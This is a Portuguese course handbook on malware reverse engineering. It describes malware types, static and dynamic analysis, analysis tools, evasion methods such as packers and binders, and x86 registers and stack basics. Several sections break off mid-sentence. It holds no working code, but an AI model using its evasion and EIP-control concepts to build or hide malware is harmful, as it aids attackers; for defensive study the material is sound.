Engenharia Reversa Malware
Engenharia Reversa Malware
Análise de Malware
Conteúdo
1. Introdução .............................................................................................................................................................. 6
1.1. Tipos de códigos maliciosos .................................................................................................................................... 6
1.2. Engenharia reversa de malware ............................................................................................................................. 8
1.3. Análise estática e dinâmica (comportamental) ....................................................................................................... 9
1.4. Ferramentas ............................................................................................................................................................ 9
1.5. Antireversing e anti-antivirus ................................................................................................................................ 19
1.5.1. Polimorfismo ................................................................................................................................................. 19
1.5.2. Metamorfismo .............................................................................................................................................. 20
1.5.3. Packers........................................................................................................................................................... 20
1.5.4. Cryptors ......................................................................................................................................................... 21
1.5.5. Binders, Joiners ou Wrappers ........................................................................................................................ 21
1.5.6. Strings Ofuscadas .......................................................................................................................................... 21
É terminantemente proibida a reprodução total ou parcial desta obra, por qualquer meio ou
processo, sem a expressa autorização do autor.
Engenharia Reversa e Análise de Malware | 6
1. Introdução
Código malicioso ou malware (do inglês “malicious software”) foi um termo criado para
definir genericamente qualquer software que tenha intenção de realizar alguma atividade no
computador sem o consentimento ou conhecimento do proprietário, dessa forma beneficiando outra
pessoa. Geralmente essa atividade maliciosa gerará algum dano ou prejuízo a vitima e envolverá
captura de teclas digitadas no teclado, cliques do mouse, comunicação de rede, alterações de
configurações no navegador e sistema operacional, etc.
Vírus: é o tipo mais antigo de malware e tem se tornado menos popular nos dias atuais,
porém às vezes o termo ainda é utilizado de forma genérica para descrever todos os tipos de
malwares. Eles fazem cópias de si mesmos infectando outros arquivos legítimos do computador, ou
seja, se tornam parte de outros programas (geralmente executáveis). Uma característica importante é
que os vírus geralmente dependem da ação do usuário para se tornarem ativos e infectarem outros
computadores, diferente da maioria dos malwares atuais que utilizamInternet ou a rede local para se
replicarem.
Trojanhorse: em português cavalo de Troia, foi na mitologia grega uma grande estátua,
utilizada como instrumento de guerra pelos gregos para obter acesso à cidade de Troia. A estátua do
cavalo foi recheada com soldados que, durante a noite, abriram os portões da cidade possibilitando
Engenharia Reversa e Análise de Malware | 7
a entrada dos gregos e a dominação de Troia. Daí surgiram os termos "Presente de Grego" e
"Cavalo de Troia". No mundo dos malwares, um trojan é um programa normalmente recebido como
um "presente" (por exemplo, vídeos, fotos, jogos, etc.), que além de executar funções para as quais
foi aparentemente projetado, também executa outras funções normalmente maliciosas e sem o
conhecimento do usuário.
Trojan-Downloader: é um tipo de Trojan que existe somente para fazer download de outros
códigos maliciosos. Downloaders, ou Loaders como são conhecidos no meio hacker, geralmente são
instalados pelos atacantes quando eles obtêm acesso ao sistema pela primeira vez. O downloader irá
baixar e instalar outros malwares automaticamente.
Trojan-Banker: esse tipo de Trojan é muito comum no Brasil, 95% dos malwares
produzidos no país são desse tipo [1], são especializados em furtar dados referentes ao Internet
Banking. Tentam se passar por aplicativos ou sites dos bancos brasileiros para conseguirem capturar
senhas e demais credenciais de acesso a contas bancárias.
[1] http://oglobo.globo.com/tecnologia/bbr-ajuda-mas-malware-ainda-pode-infectar-aparelhos-3678255
Backdoor: código malicioso que se instala no computador para permitir o acesso remoto do
atacante. Permite ao atacante se conectar e executar comandos no computador infectado sem que o
usuário tenha conhecimento.
Rootkit: malware designado para ocultar sua presença e de outros códigos maliciosos no
sistema operacional. Utiliza-se de técnicas avançadas para dificultar a detecção por parte do
usuário, geralmente faz isso alterando funções internas do sistema operacional fazendo com que
passe despercebido pelas ferramentas anti-malware.
Engenharia Reversa e Análise de Malware | 8
SpearPhishing: no phishing comum são enviados e-mails para tentar “pescar” senhas e
outros dados bancários das pessoas em geral, já no spearphishing (“pescaria com arpão”) são
enviados e-mails direcionados a alvos específicos, a mensagem é cuidadosamente montada para que
se passe por verdadeira dentro de uma empresa ou órgão.
computadores, programação baixo nível, formato de arquivos, etc. Porém o mais importante pré-
requisito é a curiosidade e a vontade de aprender.
Existem duas abordagens distintas, contudo complementares, que podemos utilizar para
analisar um malware. A primeira delas é chamada de análise estática, com ela analisamos um
artefato, na verdade um arquivo, sem executá-lo ou executando apenas pequenos trechos de seu
código com ajuda de debuggers. Nesse tipo de análise utilizamos diversas ferramentas para
conseguir extrair o máximo de informações possíveis do malware, geralmente essa abordagem
exige do analista um conhecimento maior dos formatos de arquivos envolvidos, do funcionamento
interno do sistema operacional e da linguagem assembly, porém dessa forma conseguimos extrair
informações mais detalhadas e avançadas do malware.
Já na análise dinâmica, também chamada de comportamental, executamos o arquivo e
monitoramos seu comportamento, interação e efeitos no sistema operacional hospedeiro, deixamos
o malware agir e observamos. Para isso contamos com a ajuda de diversas ferramentas que
capturam tráfego de rede, execução de processos, modificações no registro, sistema de arquivos,
etc., e no final da execução, ou após um determinado período de tempo definido por nós, são
exibidos os relatórios com os resultados.
Vale dizer que a análise dinâmica é fácil ser automatizada, os sites que analisam malwares
fazem isso, já a análise estática é muito difícil, a maior parte do trabalho é feito manualmente por
um analista. As empresas desse ramo, universidades ou mesmo as forças policiais (FBI) geralmente
possuem gigantescas base de dados com milhões de amostras que são analisadas automaticamente
pelo método dinâmico e os arquivos que fogem do padrão são separados e analisados manualmente
por uma pessoa através do método estático.
Um método não é melhor que o outro, eles são complementares. Às vezes é muito útil
utilizar a abordagem dinâmica para provar ou tirar uma dúvida do que foi encontrado com a análise
estática. Também podemos utilizar a análise estática para conseguir mais detalhes do que foi
apresentado com a abordagem dinâmica. Por isso é importante conhecer os dois métodos.
1.4. Ferramentas
funcionalidades, muitas são bem completas e se encaixam em mais de uma categoria, vejamos
abaixo as características de cada uma e no decorrer do curso as conheceremos com mais detalhes.
Lembrando que todos os softwares utilizados são gratuitos e estão disponíveis na internet para
qualquer um fazer download.
Identificadores de Arquivos
Quando pretendemos analisar um arquivo suspeito não temos nenhuma informação prévia
sobre ele, não sabemos o formato do arquivo, para qual sistema operacional foi compilado ou se ele
possui alguma proteção. Não podemos confiar no nome do arquivo e nem em sua extensão, pois
isso é usado como engenharia social para enganar os menos atentos. Existem ferramentas,
classificadasgenericamente como identificadores de arquivos, que podemos utilizar para obter um
perfil inicial do arquivo.
Elas recebem o arquivo suspeito como entrada e exibem informações detalhadas como:
formato do arquivo, compilador, linguagem de programação, proteções, cabeçalhos, sessões do
arquivo, etc. Algumas ainda dão dicas de como remover as proteções e permitem a instalação de
plug-ins.
- PEiD
Ferramenta gratuita para detecção de packers e compiladores. Inclui mais de 600 assinaturas para
detectar packers, cryptors e compiladores em arquivos do formato PE (executável do Windows).
Suporta a instalação de plug-ins como o KryptoANALyzer (KANAL). O KANAL pode ser
utilizado para encontrar algoritmos de criptografia conhecidos em arquivos PE. Embora o projeto
do PEiD tenha sido descontinuado ainda é possível fazer o download da ferramenta.
Download: http://www.peid.info/.
- Exeinfo PE
Assim como o PEiD é uma ferramenta gratuita que também identifica packers e compiladores de
arquivos PE. Projeto atualizado que apresenta bons resultados e possui 617 assinaturas de detecção.
Uma vantagem é que ele quando identifica um packer dá dica de como encontrar o unpacker.
Permite ainda a integração com o PEiD através de plug-in.
Site para download: http://www.exeinfo.xwp.pl/.
Engenharia Reversa e Análise de Malware | 11
- file
Comando nativo de distribuições Linux para identificação de arquivos. Ideal para saber o tipo de
um arquivo desconhecido, às vezes consegue identificar a presença de packers. Possui versão
gratuita para Windows.
Download (Windows): http://gnuwin32.sourceforge.net/packages/file.htm.
Monitoramento do Sistema
Esse tipo de ferramenta está relacionado com a análise dinâmica do malware, envolve
tarefas como “sniffar” a rede, monitorar o sistema operacional (SO), explorar e expor o que o
malware está fazendo. A maioria dessas ferramentas exibe informações coletadas pelo SO sobre o
malware e seu ambiente, devido à quase totalidade de comunicação do malware com o mundo
exterior ser feita através do SO, ele pode ser manipulado para extrair essa informação. Ferramentas
de monitoramento do sistema podem monitorar atividade de rede, acesso a arquivos, acesso ao
registro, criação de processos, além de objetos do SO como mutex, eventos e outros.
- Autoruns
Autoruns é um utilitário com uma longa lista de locais de inicialização automática de programas no
Windows. Malwares frequentemente se instalam em uma variedade de locais, incluindo o registro,
menu iniciar, e outros. Autoruns procura por vários locais possíveis e apresenta um relatório em
uma interface gráfica. Use o Autoruns na análise dinâmica para ver onde o malware se instalou. A
ferramenta faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.
- Capture BAT
É uma ferramenta de análise dinâmica para monitorar o malware enquanto ele ainda está rodando.
Capture BAT irá monitorar o sistema de arquivos, registro e atividades do processo. Você pode usar
Engenharia Reversa e Análise de Malware | 12
listas de exclusão (incluindo muitas já predefinidas) para remover os resultados não desejados e
focar somente no malware que está analisando. Apesar de o Capture BAT não ter uma interface
gráfica muito sofisticada como o Process Monitor, é uma ferramenta open source, então você pode
modificá-la.
Download: http://www.honeynet.org/project/CaptureBAT.
- Process Explorer
É um poderoso gerenciador de tarefas do Windows que é utilizado para prover informações sobre os
processos que estão executando no sistema. Process Explorer pode mostrar as DLLs de processos
individuais, handles, eventos, strings e muito mais. Faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.
- Process Hacker
É um poderoso gerenciador de tarefas similar ao Process Explorer, porém com muitas
funcionalidades adicionais. Ele pode buscar por strings e expressões regulares na memória, injetar
ou descarregar DLL, carregar um driver, criar ou iniciar um serviço e muito mais.
Download: http://processhacker.sourceforge.net/.
- Process Monitor
Process Monitor (procmon) é uma ferramenta de análise dinâmica útil para visualizar em tempo real
atividades no sistema de arquivos, registro e processos. Você pode utilizar filtros para remover
informações não desejadas do relatório. Faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.
- Regshot
Ferramenta de análise dinâmica que permite tirar e comparar dois snapshots (estado ou “foto”) do
registro do sistema. Para usá-la, você simplesmente tira um snapshot do registro, executa o
malware, aguarda ele fazer as modificações no sistema, tira o segundo snapshot, e então compara os
dois. O regshot também pode ser utilizado para tirar e comparar dois snapshots de qualquer pasta do
sistema de arquivos que você especificar.
Download: http://sourceforge.net/projects/regshot/.
- TCPView
Ferramenta para mostrar graficamente listagens detalhadas de todas as conexões TCP e UDP
relacionadas com processos. Essa ferramenta é útil para análise de um malware porque permite
Engenharia Reversa e Análise de Malware | 13
visualizar qual processo é proprietário de determinada conexão. TCPView pode ajudar você a
rastrear o nome de um processo quando sua máquina de análise se conecta a uma porta TCP e você
não tem ideia de qual é o responsável. Faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.
- Wireshark
Wireshark é uma ferramenta open source de análise de pacotes de rede. Pode ser utilizada para
capturar o tráfego de rede gerado pelo malware e para analisar muitos protocolos diferentes. É a
ferramenta mais popular disponível livremente para capturar pacotes de rede, possui uma interface
completa e fácil de usar.
Download: http://www.wireshark.org/.
Disassemblers
Disassemblers são programas que recebem um arquivo binário executável como entrada e
geram como saída arquivos textuais que contém o código da linguagem assembly para o programa
inteiro ou parte dele. Esse processo é relativamente simples considerando que a linguagem
assembly é simplesmente o mapeamento textual da linguagem de máquina. Disassembly é um
processo baseado em processador, ou seja, cada arquitetura de CPU tem uma linguagem assembly
específica, mas alguns disassemblers suportam múltiplas arquiteturas diferentes. Um bom
disassembler é uma ferramenta essencial no kit do engenheiro reverso de malware, através dele
temos acesso ao código-fonte do malware (ainda que em linguagem de baixo nível) o que auxilia o
seu entendimento emanipulação.
- IDA ProFree
É o disassembler mais poderoso e utilizado em análise de malwares, possui inúmeras
funcionalidades como geração de gráficos, fluxogramas, referências cruzadas e muito mais.
Disponível em uma versão paga com mais funcionalidades e outra free que atende bem a análise de
malwares para plataformas comuns.
Download: http://www.hex-rays.com/products/ida/support/download_freeware.shtml.
Debuggers
Caso você já tenha feito algo em desenvolvimento de software já deve ter ouvido falar sobre
os debuggers.Um debugger é um software que permite que o desenvolvedor observe seu programa
Engenharia Reversa e Análise de Malware | 14
enquanto ele está sendo executado. As duas maiores características de um debugger são a habilidade
de estabelecer breakpoints e a habilidade de navegar através do código.
Breakpoints permitem ao usuário selecionar uma função ou linha de código em qualquer
lugar no programa e instruir o debugger a parar a execução do programa assim que essa linha é
atingida. Quando ele atinge o breakpoint, o debugger para (break) e exibe o estado atual do
programa. Nesse ponto é possível liberar o programa para continuar a execução ou começar a
navegar através de seu código. Esse processo de “navegação” através do programa consiste em
executar uma linha de código de cada vez e congelar, permitindo ao usuário observar e até alterar
seu estado. Isso permite observar o fluxo exato do programa de uma forma mais lenta e apropriada
para a compreensão humana, já que o computador executada tudo isso bilhões de vezes mais rápido.
Instalando breakpoints e navegando por programas, os desenvolvedores podem assistir ao
programa de perto quando ele executa uma seção problemática do código e tentar determinar a
origem do problema. Como os desenvolvedores têm acesso ao código-fonte de seus programas,
debuggers comuns exibem o código-fonte na linguagem de programação de alto-nível que eles
estão utilizando, permitindo a manipulação desse código.
Para os engenheiros reversos de malware, o debugger é quase tão importante quanto para o
desenvolvedor de software, mas por pequenas razões diferentes. Os debuggers são utilizados no
modo disassembly, por essa razão esse tipo de debugger é conhecido como assembler-
leveldebugger. No modo disassembly um debugger utiliza um disassembler embutido para
“disassemblar” o código de máquina em tempo de execução. É possível executar linha a linha o
código assembly e “assistir” como a CPU executa cada instrução do malware. Essa capacidade de
saber o que está sendo executado é muito valiosa para a análise do malware, inclusive para entender
trechos mais complexos de seu código ou ainda para tentar remover determinadas proteções do
código. Ao decorrer do curso utilizaremos bastante debuggers.
- OllyDbg
OllyDbg é um dos mais utilizados debuggers para análise de malware. É um user-mode x86
debugger com uma interface gráfica. Inúmeros plug-ins estão disponíveis para o OllyDbg, como por
exemplo, o OllyDump muito utilizado para unpackingdemalwares.
Download: http://www.ollydbg.de/.
- ImmunityDebugger
O ImmDbg é um user-modedebugger disponível gratuitamente. É derivado do código-fonte do
Engenharia Reversa e Análise de Malware | 15
- WinDbg
WinDbg é o debugger completo mais popular, distribuído gratuitamente pela Microsoft. Você pode
utilizá-lo para debugarmalware em user-mode, kernel-mode, x86 e x64. O WinDbg não tem a
interface gráfica robusta como o OllyDbg, ao invés disso possui uma interface de linha de
comandos. Muitos analistas de malware optam por usar o OllyDbg para user-modedebugging e o
WinDbg para kerneldebugging. WinDbg pode ser baixado independente ou como parte do Windows
SDK.
Download: http://msdn.microsoft.com/.
Descompiladores
- DeDe
Popular descompilador para executáveis compilados em Delphi. Possui interface gráfica onde é
possível visualizar o nome original do projeto Delphi, a versão utilizada, forms encontrados,
funções e mais. Ainda permite salvar o projeto em formato nativo do Delphi o que permite posterior
abertura na IDE. Apesar de nem sempre apresentar resultados satisfatórios é muito útil para
recuperar GUIs de malwares.
Download:
http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/DeDe.shtml.
Engenharia Reversa e Análise de Malware | 16
- VB Decompiler Pro
Descompilador para executáveis compilados com a linguagem de programação Visual Basic.
Recupera funções, forms, nome do projeto e permite salvar o projeto para posterior utilização com o
Visual Basic.
Download: http://www.vb-decompiler.org/products/pt.htm.
- Hex-RaysDecompiler
Apesar de ser uma ferramenta paga (e cara, 2.239,00 USD) vale à pena citar a título de
conhecimento. O Hex-RaysDecompiler é um poderoso plug-in para o IDA Pro que tenta converter
código assembly em código amigável para humanos, uma espécie de pseudocódigo em C. Por
exemplo, com o uso do plug-in 100 linhas de código assembly podem se transformar em apenas 8
linhas de código C.O plug-in é muito útil para decifrar complexos algoritmos de criptografia. É a
melhor ferramenta no mercado para descompilação, mas não é livre de falhas.
Para mais informações: http://www.hex-rays.com/.
MemoryForensics
- LordPE
É uma ferramenta gratuita para realizar o dump de um executável na memória, com ele é possível
selecionar um processo que esteja em execução e copiá-lo inteiro ou parcialmente. Ele permite
editar o arquivo PE e pode ser utilizado para corrigir um programa que foi copiado da memória com
outra ferramenta. Ferramenta bastante utilizada para unpacking de malware.
Download: http://www.woodmann.com/collaborative/tools/index.php/LordPE.
- Memoryze
Ferramenta gratuita criada pela empresa MANDIANT para forense de memória. Memoryze pode
adquirir e/ou analisar toda a memória física ou apenas a referente a um processo, em um sistema em
execução ou em um dump de memória salvo. Também pode detectar rootkits e os hooks que eles
instalam. Para visualizar a saída gerada pela ferramenta Memoryze é necessário fazer download
também da ferramenta AuditViewer, o que torna o processo de análise rápido e mais intuitivo.
Download: http://www.mandiant.com/products/free_software/memoryze/.
- Volatility Framework
É uma coleção de ferramentas open source escritas em Python para live análise de dumps de
memória. Esse conjunto de ferramentas é útil para análise de malware, pois pode ser utilizada para
extrair DLLs injetadas em processos, detectar rootkits, encontrar processos ocultos, e muito mais. O
Volatility possui muitos usuários e colaboradores, então novos recursos estão constantemente sendo
desenvolvidos.
Download: http://code.google.com/p/volatility/.
Além dessas categorias existem ferramentas diversas que auxiliam em alguma tarefa
específica da análise do malware. Podemos citar algumas úteis para o arsenal do analista de
malware.
Engenharia Reversa e Análise de Malware | 18
Diversas
- CFF Explorer
Uma ferramenta designada para permitir a edição de arquivos PE de forma fácil. Útil para editar a
seção resources, adicionar imports, ou escanear por assinaturas.
Download: http://www.ntcore.com/.
- Dependency Walker
Ferramenta de análise estática para explorar DLLs e funções importadas por malwares. Constrói um
diagrama em formato de árvore hierárquica com todas as DLLs que serão carregadas na memória
quando o malware executar.
Download: http://www.dependencywalker.com/.
- Editores Hexadecimais
Editores hex permitem editar e visualizar arquivos contendo dados binários. Existem muitos
editores disponíveis alguns gratuitos e outros não, é necessário comparar as características de cada
para descobrir o mais apropriado. Como sugestão de ferramenta gratuita para Windows pode-se
baixar o HxDHex Editor, que possui uma boa interface gráfica e bom desempenho.
Download: http://mh-nexus.de/en/hxd/.
- ImportREConstructor
ImpREC é uma ferramenta útil quando se está realizando o unpacking manual de um malware. A
Import Address Table (IAT) é frequentemente danificada quando é feito o unpacking manual através
de um dump de memória e você pode utilizar o ImpREC para recuperar a tabela.
Download: http://tuts4you.com/download.php?view.415.
- PEview
PEview é uma ferramenta gratuita para visualizar as estruturas do arquivo PE. Você pode ver o
cabeçalho PE, seções individuais e as tabelas de import/export.
Download: http://www.magma.ca/~wjr/.
- Resource Hacker
É um utilitário gratuito para análise estática, com ele é possível visualizar, renomear, modificar,
adicionar, excluir e extrair informações da seção resources de binários do tipo PE. Devido aos
Engenharia Reversa e Análise de Malware | 19
- Strings
Ferramenta de análise estática para examinar strings em ASCII e Unicode em arquivos binários.
Utilizar Strings é frequentemente um jeito fácil de obter uma visão alto-nível das capacidades do
malware, mas esse está com algum packer ou ofuscação Strings não tem muita utilidade. O
comando Strings já vem nativo em todas as distribuições Linux e no Windows e possível fazer o
download da ferramenta, ela faz parte da SysinternalsSuite.
Download: http://www.sysinternals.com/.
1.5.1. Polimorfismo
1.5.2. Metamorfismo
1.5.3. Packers
nos meios hackers como sinônimo para se referirem geralmente a programas de ofuscação de
arquivos.Packers são programas que permitem ao usuário comprimir, e muitas vezes criptografar, o
conteúdo de um arquivo executável sem perder suas funcionalidades. Ele comprime o executável
original e por consequência ofusca seu conteúdo, cria um novo conteúdo de código executável,
insere no código uma rotina de descompressão, que geralmente fica no final do arquivo, e modifica
o entry point do executável para apontar para essa rotina de descompressão. Quando o programa é
executado a rotina de descompressão entra em ação e o programa é “unpacked” na memória,
iniciando assim a execução do código original.
1.5.4. Cryptors
Binder (também conhecido como joiner ou wrapper) em ambiente Windows recebe como
entrada um arquivo executável (geralmente malicioso) e outro arquivo qualquer (geralmente
benigno), e junta os dois formando um só arquivo executável. O autor pode determinar qual arquivo
será executado e se essa execução será oculta ou não, além de determinar em qual pasta será
copiado, quais ações a serem tomadas com os dois arquivos, etc. Por exemplo o atacante pode
combinar o arquivo malicioso com um arquivo JPG, quando a vítima executá-lo será aberta a
imagem JPG e o arquivo malicioso pode ser executado de forma oculta para não levantar suspeita.
Esse pode ser um mecanismo efetivo para distribuição de malwares.
Veremos nos capítulos posteriores que quando um programa é compilado seu código-fonte é
Engenharia Reversa e Análise de Malware | 22
Softwares podem ser considerados umas das mais complexas criações do homem moderno.
O seu desenvolvimento envolve inúmeras ferramentas como linguagens de programação,
compiladores, linkers, debuggers, sistemas operacionais, etc. No surgimento dos computadores os
programadores de software deveriam conhecer todos os mecanismos internos do ambiente onde
seus programas seriam executados, caso contrário não obteriam sucesso. Isso inclui gerenciamento
de memória, funcionamento da CPU, linguagem de máquina e muitos outros tópicos. Com o passar
dos anos, até chegar aos dias atuais, foram criadas diversas camadas de abstrações no
desenvolvimento de software. Isso possibilita que o desenvolvedor não mais precise conhecer todos
os mecanismos internos do computador para conseguir produzir um software. De forma
simplificada ele precisa apenas entender algumas instruções (linguagens de programa de alto-nível)
que informam ao computador o que fazer.
Malware nada mais é do que um software com intenções maliciosas, desse modo do ponto
de vista da engenharia reversa de malware esse avanço que tivemos no desenvolvimento de
software não é muito bom já que ele deixou os programadores com menos conhecimentos dos
aspectos internos dos softwares.
Ao analisar um malware a única coisa que temos é o arquivo malicioso e mais nada, não
temos o código-fonte com a linguagem de alto-nível que foi utilizada para criá-lo. E as informações
que conseguimos extrair desse arquivo geralmente estão em baixo-nível, por isso quanto maior for o
conhecimento dessas estruturas internas dos softwares mais resultados satisfatórios conseguiremos
extrair das ferramentas. Vamos então iniciar nossa jornada ao mundo dos softwares!
Apesar de haver apenas três níveis de abstração na figura, geralmente computadores são
descritos com os seis diferentes níveis de abstração que se seguem. Listaremos esses níveis
começando pelo mais baixo. Os níveis mais altos são colocados no topo e quanto mais baixo você
vai, menor o nível de portabilidade dos sistemas.
Hardware: O nível do hardware, o único nível físico, consiste em circuitos elétricos que
implementam complexas combinações de operadores lógicos como o XOR, AND, OR e NOT,
conhecido como lógica digital. Por causa da sua natureza física, o hardware não pode ser facilmente
manipulado por software.
Código de máquina: O nível do código de máquina consiste em opcodes, dígitos hexadecimais que
dizem ao processador o que você quer que ele faça. Código de máquina tipicamente é
implementado com muitas instruções de microcódigo, assim a camada abaixo de hardware
consegue executar o código. Ele é criado quando um software escrito em linguagem de alto-nível é
compilado.
Engenharia Reversa e Análise de Malware | 25
Linguagens de alto-nível: A maioria dos programadores opera no nível das linguagens de alto-
nível. Elas fornecem forte abstração do nível de máquina e facilitam o uso de lógica de
programação e mecanismos de controle de fluxo. Linguagens de alto-nível incluem C, C++, Visual
Basic, Pascal, e outras. Essas linguagens são tipicamente convertidas em código de máquina por um
compilador através de um processo chamado compilação.
Quando um malware está armazenado no disco, ele geralmente está no formato binário no
nível de código de máquina. Como foi discutido, código de máquina é uma forma de código que o
computador pode executar rapidamente e eficientemente. Quando nós fazemos o disassembly do
malware (como mostrado na figura acima), o arquivo binário é usado como entrada para gerar
código da linguagem assembly como saída, com a ajuda de um disassembler (IDA Pro).
Linguagem assembly é na verdade uma classe de linguagens. Cada dialeto do assembly é
normalmente utilizado para programar uma única família de processadores, como por exemplo x86,
x64, SPARC, PowerPC, MIPS e ARM. A x86 é de longe a arquitetura mais popular para PCs.
Engenharia Reversa e Análise de Malware | 26
A maioria dos computadores pessoais de 32-bit são x86, também conhecidos como Intel IA-
32, e todas as versões mais modernos do Microsoft Windows de 32-bit são projetados para rodar na
arquitetura x86. Adicionalmente, a maioria das arquiteturas AMD64 e Intel 64 que rodam Windows
também suportam binários para a arquitetura x86 32-bit. Por essa razão, a maioria dos malwares são
compilados para a x86, que será o foco desse curso. Agora iremos nos focar nos aspectos mais
importantes da arquitetura x86 para a análise de malwares.
está rodando.
A memória principal para um programa em execução pode ser dividida em quatro seções
principais, como mostrado na figura abaixo.
Dados: Esse termo pode ser utilizado para referenciar uma seção específica da memória chamado
de datasection, que contém dados que são carregados na memória assim que o programa é
executado. Esses valores às vezes são chamados de dados estáticos porque eles não mudam
enquanto o programa está rodando, ou também podem ser chamados de dados globais porque estão
disponíveis para qualquer parte do programa.
Código: Código inclui as instruções que são trazidas pela CPU para executar as tarefas do
programa. O código controla o que o programa faz e como as tarefas do programa serão
coordenadas.
Heap: A heap é utilizada para memória dinâmica durante a execução do programa, para criar
(alocar) novos dados e eliminar (free) dados que o programa não mais precisa. A heap é também
conhecida como memória dinâmica pois seu conteúdo pode mudar frequentemente enquanto o
programa está rodando.
Stack: A stack (pilha) é utilizada para variáveis locais e parâmetros de funções, e ajuda no controle
do fluxo do programa. Falaremos com mais detalhes da stack logo mais.
Engenharia Reversa e Análise de Malware | 28
Embora a figura mostre as quatro seções principais em um ordem específica, essas seções
pode ser alocadas em qualquer parte da memória. Por exemplo, não há garantia que a stack estará
abaixo ao código ou vice versa.
2.5. Instruções
Instruções são os blocos que constroem os programas. Em assembly x86, uma instrução é
composta de um mnemônico e zero ou mais operandos. Como mostrado abaixo, o mnemônico é
uma palavra que identifica a instrução a ser executada, como por exemplo MOV, que movem dados.
Operandos são normalmente utilizados para identificar informações usadas pela instrução, como por
exemplo um registrador ou valor.
Cada instrução corresponde a opcodes (operation codes) que diz à CPU qual operação o
programa quer realizar. Disassemblers traduzem opcodes em instruções legíveis por humanos. Por
exemplo, na tabela abaixo você pode ver que o opcodes para a instrução “MOV ECX, 0x42” são
“B9 42 00 00 00”. O valor 0xB9 corresponde ao “MOV ECX,” e “0x42000000” corresponde ao
valor 0x42.
Instruções e Opcodes
Instrução MOV ECX, 0x42
Opcodes B9 42 00 00 00
0x42000000 é tratado como o valor 0x42 porque a arquitetura x86 usa o formato little-
endian. A endianness (ordem dos bytes) dos dados descreve se o mais significativo (big-endian) ou
o menos significativo (little-endian) byte é ordenado primeiro, no endereço mais baixo da memória.
Mudança de endianness é algo que o malware deve fazer durante a comunicação com a rede, isso
devido aos dados de rede utilizarem o big-endian e programas x86 utilizarem little-endian. Dessa
forma, o endereço IP 127.0.0.1 será representado como 0x7F000001 em big-endian (na rede) e
Engenharia Reversa e Análise de Malware | 29
2.7. Operandos
Operandos são utilizados para identificar os dados usados por uma instrução. Três tipos de
operandos podem ser usados:
- Imediatos: operandos que possuem valor fixo, como por exemplo 0x42.
- Registradores: operandos que se referem aos registradores da CPU, como por exemplo
ECX.
- Endereços de memória: operando que fazem referência a endereços da memória que
contenham um valor de interesse, tipicamente denotados por um valor, registro ou equação entre
colchetes, como exemplos [0xFFFFFFAA], [ECX] e [ECX+0x08].
2.8. Registradores
Você pode utilizar a tabela abaixo como referência para consulta durante essa aula, as
próximas seções discutem cada uma dessas categorias.
Os Registradores x86
Registradores de uso geral Registradores Flags de status Instruction pointers
segmentados
EAX (AX, AH, AL) CS EFLAGS EIP
Engenharia Reversa e Análise de Malware | 30
Todos os registradores de uso geral possuem 32 bits de tamanho e podem ser referenciados
como 32 bits ou 16 bits no código assembly. Por exemplo, EDX é utilizado para referenciar o
registrador de 32 bits inteiro, e DX é utilizado para referenciar os 16 bits menores do registrador
EDX.
Quatro registradores (EAX, EBX, ECX e EDX) também podem ser referenciados como 8
bits usando os 8 bits mais baixos ou o segundo conjunto de 8 bits mais baixo. Exemplo, AL é
utilizado para referenciar os 8 bits mais baixos do registrador EAX, e o AH é utilizado para
referenciar o segundo conjunto de 8 bits mais baixos.
A tabela acima lista as possíveis referências para cada registrador geral. O EAX
desmembrado é ilustrado na figura abaixo. No exemplo, o EAX de 32 bits (4 bytes) contém o valor
0xA9DC81F5 e o código pode referenciá-lo de três formas adicionais: AX (2 bytes) que é 0x81F5,
AL (1 byte) que é 0xF5 e AH (1 byte) que é 0x81.
Flags
EIP, InstructionPointer
então o programa que estiver rodando irá dar erro. Quando você controla o EIP você pode controlar
o que será executado pela CPU, esse é o motivo pelo qual os atacantes tentam obter o controle do
EIP em uma exploração. Normalmente os atacantes têm o código de ataque na memória e então
alteram o EIP para apontar para o código do exploit.
Memória para funções, variáveis locais, e controle do programa são armazenadas na pilha,
que é uma estrutura de dados caracterizada por PUSHs e POPs.Você empilha (PUSH) itens e os
desempilha (POP). A pilha utilizada a estrutura LIFO, last in, first out. Por exemplo, se você
empilhar os números 1, 2 e 3 nessa ordem, o primeiro número a ser desempilhado será o 3, pois ele
foi o último a ser empilhado.
A arquitetura x86 possui por padrão suporte ao mecanismo da pilha. Os registradores que a
suportam são o ESP e o EBP. ESP é o stack pointer (ponteiro da pilha) e normalmente contém o
endereço de memória que aponta para o topo da pilha. O valor do registrador é alterado sempre que
um item é empilhado ou desempilhado. O EBP é o base pointer (ponteiro da base) que se mantém
consistente com uma determinada função do programa, assim o programa pode utilizá-lo como um
marcador reservado para manter mapear a localização de variáveis locais e parâmetros.
Instruções assembly que lidam com a pilha são PUSH, POP, CALL, LEAVE, ENTER e RET. A
pilha é alocada na memória no formato de cima para baixo (top-down), assim o endereço mais alto
de memória é alocado e usado primeiro. Assim que os itens são empilhados, os endereços menores
são usados. A próxima figura mostrará isso.
A pilha é utilizada somente para armazenamento de curto prazo, ela frequentemente
armazena variáveis, parâmetros e endereços de retorno. Seu uso primário é para o gerenciamento de
dados trocados entre funções. A implementação desse gerenciamento varia de acordo com os
compiladores, mas a convenção mais comum é que as variáveis locais e os parâmetros sejam
referenciados relativamente pelo EBP. Geralmente a expressão [EBP - valor] diz respeito a um
endereço na pilha onde está armazenada uma variável local e a expressão [EBP + valor] se refere a
um parâmetro passado para a função. Saber isso é muito útil para a engenharia reversa de malware.
Funções são porções de código dentro de um programa que realizam tarefas específicas e
são relativamente independentes do resto do código. O código principal chama e temporariamente
